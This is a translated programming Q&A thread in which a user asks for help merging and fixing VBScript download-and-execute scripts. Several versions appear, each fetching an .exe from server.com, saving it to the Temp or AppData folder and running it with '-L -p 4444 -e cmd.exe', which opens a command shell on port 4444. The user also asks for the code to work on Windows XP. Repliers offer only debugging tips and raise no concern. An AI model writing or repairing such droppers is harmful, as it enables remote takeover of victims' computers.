cHl Security Ответов: 1

Как я могу объединить несколько скриптов .vbs одной и той же функции в один .vbs?


Я пытаюсь объединить приведенные ниже сценарии .vbs в один .vbs. Ниже приведен пример моего кода:

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download1.exe" 'Where to download the file from
FILENAME = "%Tmp%\download1.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download1.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

Next

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download2.exe" 'Where to download the file from
FILENAME = "%Tmp%\download2.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download2.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

Next

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download3.exe" 'Where to download the file from
FILENAME = "%Tmp%\download3.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download3.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD


Когда я пытался запустить приведенный выше код, я всегда получал ошибку, как указано на рисунке ниже:
Операция не допускается, когда объект открыт

Лучшее решение-исправить это или заставить скрипт подождать и завершить работу, прежде чем переходить к следующему. будет принята с благодарностью.

Что я уже пробовал:

Я пробовал использовать:
Далее, WScript.Sleep 1000 и синтаксис задержки, но ни один из них не работает должным образом.

Richard MacCutchan

Поскольку в коде так много дублирования, было бы более разумно преобразовать одну версию в подпрограмму, которая принимает параметры для переменных.

ZurdoDev

Это означает, что вы пытаетесь что-то сделать, например открыть поток, который уже открыт.

cHl Security

На самом деле я хочу загрузить несколько файлов и выполнить их, но процесс загрузки и выполнения должен быть завершен, прежде чем переходить к следующему.

cHl Security

Пожалуйста, я был бы признателен, если бы мне помогли перестроить код, чтобы он работал.

1 Ответов

Рейтинг:
0

phil.o

Этот пост SO может пролить свет на вашу проблему: excel - ADODB.Stream.saveToFile -> дождитесь, пока файл будет сохранен? - переполнение стека[^].
И этот тоже: vbscript - ожидание завершения программы - переполнение стека[^].

В качестве дополнительного Примечания, если вы объединяете несколько файлов, вам не нужно переопределять переменные после их объявления. То есть, линии

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
бесполезны второй и третий раз; вы можете пропустить их.


cHl Security

Я не очень разбираюсь в кодировании. Я едва знаю, как сто структурирует это.

phil.o

Единственный способ научиться-это попробовать. Вы, скорее всего, столкнетесь с некоторыми другими проблемами, но процесс проб и ошибок будет чрезвычайно поучительным.

cHl Security

Я смог решить эту проблему, но я все еще сталкиваюсь с проблемой записи и ошибкой выполнения:

WScript.Sleep 30000
dim http_obj
dim stream_obj
dim shell_obj
WScript.Sleep 2000
WScript.Sleep 2000
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
WScript.Sleep 2000
WScript.Sleep 2000
URL = "http://server.com/download.exe" 'Where to download the file from
FILENAME = "c:\Users\Default\AppData\Roaming\download.exe" 'Name to save the file (on the local system)
RUNCMD = "c:\Users\Default\AppData\Roaming\download.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading
WScript.Sleep 2000
WScript.Sleep 2000
http_obj.open "GET", URL, False
http_obj.send
WScript.Sleep 2000
WScript.Sleep 2000
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD
stream_obj.close


Использование команды Save to path & Execution:
FILENAME = "c:\Users\Default\AppData\Roaming\download.exe"
RUNCMD = "c:\Users\Default\AppData\Roaming\download.exe -L -p 4444 -e cmd.exe"

Хорошо работает на windows 7 - 10, но не будет работать на windows xp, Windows XP дает ошибку:
Не удалось найти указанный ресурс.


Использование команды Save to path & execution:
FILENAME = "%AppData%\download.exe
RUNCMD = "%AppData%\download.exe -L -p 4444 -e cmd.exe"


Не работает вообще и это дает ошибки, которые:
Ошибка записи в windows 7-10 и
в windows xp:
Не удалось найти указанный ресурс.

Пожалуйста, есть ли решение этой проблемы?